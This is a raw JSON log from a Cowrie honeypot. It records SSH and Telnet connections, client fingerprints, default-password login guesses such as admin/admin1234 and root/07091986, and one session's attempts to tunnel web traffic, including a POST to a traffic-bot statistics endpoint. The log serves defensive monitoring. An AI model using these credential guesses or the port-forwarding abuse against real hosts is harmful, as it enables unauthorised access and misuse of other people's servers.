{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:41.860818Z","src_ip":"23.175.50.51","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.58212637901306,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:43.293278Z","src_ip":"128.199.8.54","session":"f8ecec8e1c07","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:43.408955Z","src_ip":"23.175.50.51","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40264,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1c034a36878","protocol":"telnet","message":"New connection: 128.199.8.54:40264 (159.203.135.109:23) [session: d1c034a36878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:44.133909Z"}
{"eventid":"cowrie.login.failed","username":"tester","password":"qwerty","message":"login attempt [tester/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:46.461308Z","src_ip":"91.92.40.36","session":"f4a0ac0edafe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:48.689712Z","src_ip":"91.92.40.36","session":"f4a0ac0edafe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":63314,"dst_ip":"159.203.135.109","dst_port":22,"session":"f00a13494a4a","protocol":"ssh","message":"New connection: 91.92.40.36:63314 (159.203.135.109:22) [session: f00a13494a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:52.005638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:52.590396Z","src_ip":"91.92.40.36","session":"f00a13494a4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:55.433599Z","src_ip":"91.92.40.36","session":"f00a13494a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":33050,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b16b03d2fe8","protocol":"ssh","message":"New connection: 103.176.20.57:33050 (10.17.0.5:22) [session: 3b16b03d2fe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:55.945829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:55.952053Z","src_ip":"103.176.20.57","session":"3b16b03d2fe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:56.199785Z","src_ip":"103.176.20.57","session":"3b16b03d2fe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":30370,"dst_ip":"159.203.135.109","dst_port":22,"session":"871078bcc3e2","protocol":"ssh","message":"New connection: 91.92.40.36:30370 (159.203.135.109:22) [session: 871078bcc3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:56.549881Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"07091986","message":"login attempt [root/07091986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:56.951569Z","src_ip":"103.176.20.57","session":"3b16b03d2fe8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:57.661910Z","src_ip":"91.92.40.36","session":"871078bcc3e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:57.665948Z","src_ip":"91.92.40.36","session":"871078bcc3e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:58.200561Z","src_ip":"103.176.20.57","session":"3b16b03d2fe8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:59.255115Z","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:59.643886Z","src_ip":"23.175.50.51","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T970) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=e1RveExzXj41Wn1BRmlXWg%3D%3DS6ETga%2F%2Fpv9trLfDpXMWtKZXEvBdVid1Tnvy2%2BSSKlHoTU756Jt72X%2BWHqIx%2FUGseQwTFJq8Kf5RjVUybs6FIcd4XOF9YFi6vA5LAlktudqO6Lhr0g0f88yJM7x%2BdXjRIQ3DzQfenXNIsSmA%2BHwCuBJgekxFGs7SFtPbLkM45C%2FZczqQ0oHY8bIjyvxU223OX%2BZgc5c1eEyHovmtI6xRS3Jam44gbgU9F6hC%2FQi8s1C9kjaBRIxkhiS4tEOdWeY0SIq5eoVBmxTzVVpnfiRzVfSOadAYKE75QnOuu89wynfUOn%2F9COtpYVA4QpbiTEzrXqeeLS8LgouP5KbYciO8HS%2BpODLalQQ4gwpPFsvz6QhpxxZbJUfIPAqJT2rygpaHHW0NpqfYqLHlx%2FbdzihaWFWJrJM%2FiBuSTkhVek9ujmDhfkwa%2BL9%2Bglj9zqdCNAMWSzYHzOAF6w3UO8GYV6NNyFV0UxU82%2Bz3nOOABUg6sQmG4cuz9CvUlsbZT1NVtI4P00K%2Bl3WT7RHFiy2OXlXP5GJtOmnfLt0vIJj8ddFfKA7KXmRpPzJ6NRe4lgxejvBdMxskPrTinc%2FUr4cA3zfih5dIKArGgDBF3cKkQZ6%2FNRqJnSswxxRzfrb6VUJO%2F8LAWDc3t6i59OGRJrQRKU0E%2F29ya2oFnPdT3v8%2ButxxNE01i4hJOGm4lx%2BCAhPajhPwJK3WEj4UzaFsL0MGb%2BfetJJTXbWZn5uLz%2FNUpPMZ2ZDrQjMIfwY9tmnXemUT0Z0%2B6ssR%2FBcOlwTBeFXzKkRH2vzJORxifmEpht53wQ0VlfcukoEfag%2FUjdNg1ZHBtEp3rIXAqBigt99YcEblB6V%2FgEnIVvHy6dV3LHRRxLd%2BnqUXf6Q1%2FVFzgDtAYOFLxSw2hhciuh0EYIUs4pBfUUxpr9rj6CpkoimSv%2BZSG8jJDeYclxy32rY4SBTiP%2FuQQnEiF68gK3PSTNmJEGYlyrZ8HIJbFJ3SWPZR23%2BMyXFrQvFsu0vQJYPWWposzIPweqeGnK6LzByn9dLt%2FL0ONWg4kCbjg05SkACwJMAd6JAdJqWpi9663UwzB0HPnOot0hmk'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-T970) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=e1RveExzXj41Wn1BRmlXWg%3D%3DS6ETga%2F%2Fpv9trLfDpXMWtKZXEvBdVid1Tnvy2%2BSSKlHoTU756Jt72X%2BWHqIx%2FUGseQwTFJq8Kf5RjVUybs6FIcd4XOF9YFi6vA5LAlktudqO6Lhr0g0f88yJM7x%2BdXjRIQ3DzQfenXNIsSmA%2BHwCuBJgekxFGs7SFtPbLkM45C%2FZczqQ0oHY8bIjyvxU223OX%2BZgc5c1eEyHovmtI6xRS3Jam44gbgU9F6hC%2FQi8s1C9kjaBRIxkhiS4tEOdWeY0SIq5eoVBmxTzVVpnfiRzVfSOadAYKE75QnOuu89wynfUOn%2F9COtpYVA4QpbiTEzrXqeeLS8LgouP5KbYciO8HS%2BpODLalQQ4gwpPFsvz6QhpxxZbJUfIPAqJT2rygpaHHW0NpqfYqLHlx%2FbdzihaWFWJrJM%2FiBuSTkhVek9ujmDhfkwa%2BL9%2Bglj9zqdCNAMWSzYHzOAF6w3UO8GYV6NNyFV0UxU82%2Bz3nOOABUg6sQmG4cuz9CvUlsbZT1NVtI4P00K%2Bl3WT7RHFiy2OXlXP5GJtOmnfLt0vIJj8ddFfKA7KXmRpPzJ6NRe4lgxejvBdMxskPrTinc%2FUr4cA3zfih5dIKArGgDBF3cKkQZ6%2FNRqJnSswxxRzfrb6VUJO%2F8LAWDc3t6i59OGRJrQRKU0E%2F29ya2oFnPdT3v8%2ButxxNE01i4hJOGm4lx%2BCAhPajhPwJK3WEj4UzaFsL0MGb%2BfetJJTXbWZn5uLz%2FNUpPMZ2ZDrQjMIfwY9tmnXemUT0Z0%2B6ssR%2FBcOlwTBeFXzKkRH2vzJORxifmEpht53wQ0VlfcukoEfag%2FUjdNg1ZHBtEp3rIXAqBigt99YcEblB6V%2FgEnIVvHy6dV3LHRRxLd%2BnqUXf6Q1%2FVFzgDtAYOFLxSw2hhciuh0EYIUs4pBfUUxpr9rj6CpkoimSv%2BZSG8jJDeYclxy32rY4SBTiP%2FuQQnEiF68gK3PSTNmJEGYlyrZ8HIJbFJ3SWPZR23%2BMyXFrQvFsu0vQJYPWWposzIPweqeGnK6LzByn9dLt%2FL0ONWg4kCbjg05SkACwJMAd6JAdJqWpi9663UwzB0HPnOot0hmk'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:43:59.647344Z","src_ip":"23.175.50.51","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:02.026981Z","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:02.097298Z","src_ip":"23.175.50.51","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\x01\\xbd{\\xc8\\xbc[\\xf3+\\r\\xb0\\xe6\\x1cP\\xef\\xed\\xabX\\x8f\\x198jJ\\xb3\\xfe\\xc5-\\xcaY\\xee\\x16\\xa2 \\x00\\x9f\\x8eq\\xf1{L\\x80\\xf0\\x8fyM\\xee\\x13\\x0b\\x1f\\xab\\xea\\xfd\\xb1&&\\xadid\\x04Tec\\xa75x\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x80\\xbc:\\x08AC\\xa3\\x1a\\xe8\\x87\\x84\\x96coD\\xbd\\x19\\xf14\\x8f\\xdb\\x14\\xf8.\\x86\\xca`F\\x1c\\xb8\\x05[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03j\\x01\\xbd{\\xc8\\xbc[\\xf3+\\r\\xb0\\xe6\\x1cP\\xef\\xed\\xabX\\x8f\\x198jJ\\xb3\\xfe\\xc5-\\xcaY\\xee\\x16\\xa2 \\x00\\x9f\\x8eq\\xf1{L\\x80\\xf0\\x8fyM\\xee\\x13\\x0b\\x1f\\xab\\xea\\xfd\\xb1&&\\xadid\\x04Tec\\xa75x\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x80\\xbc:\\x08AC\\xa3\\x1a\\xe8\\x87\\x84\\x96coD\\xbd\\x19\\xf14\\x8f\\xdb\\x14\\xf8.\\x86\\xca`F\\x1c\\xb8\\x05[\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:02.100005Z","src_ip":"23.175.50.51","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:02.237262Z","session":"dc96fb6b3391","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:44:02.297934Z","src_ip":"23.175.50.51","session":"dc96fb6b3391","protocol":"ssh"}
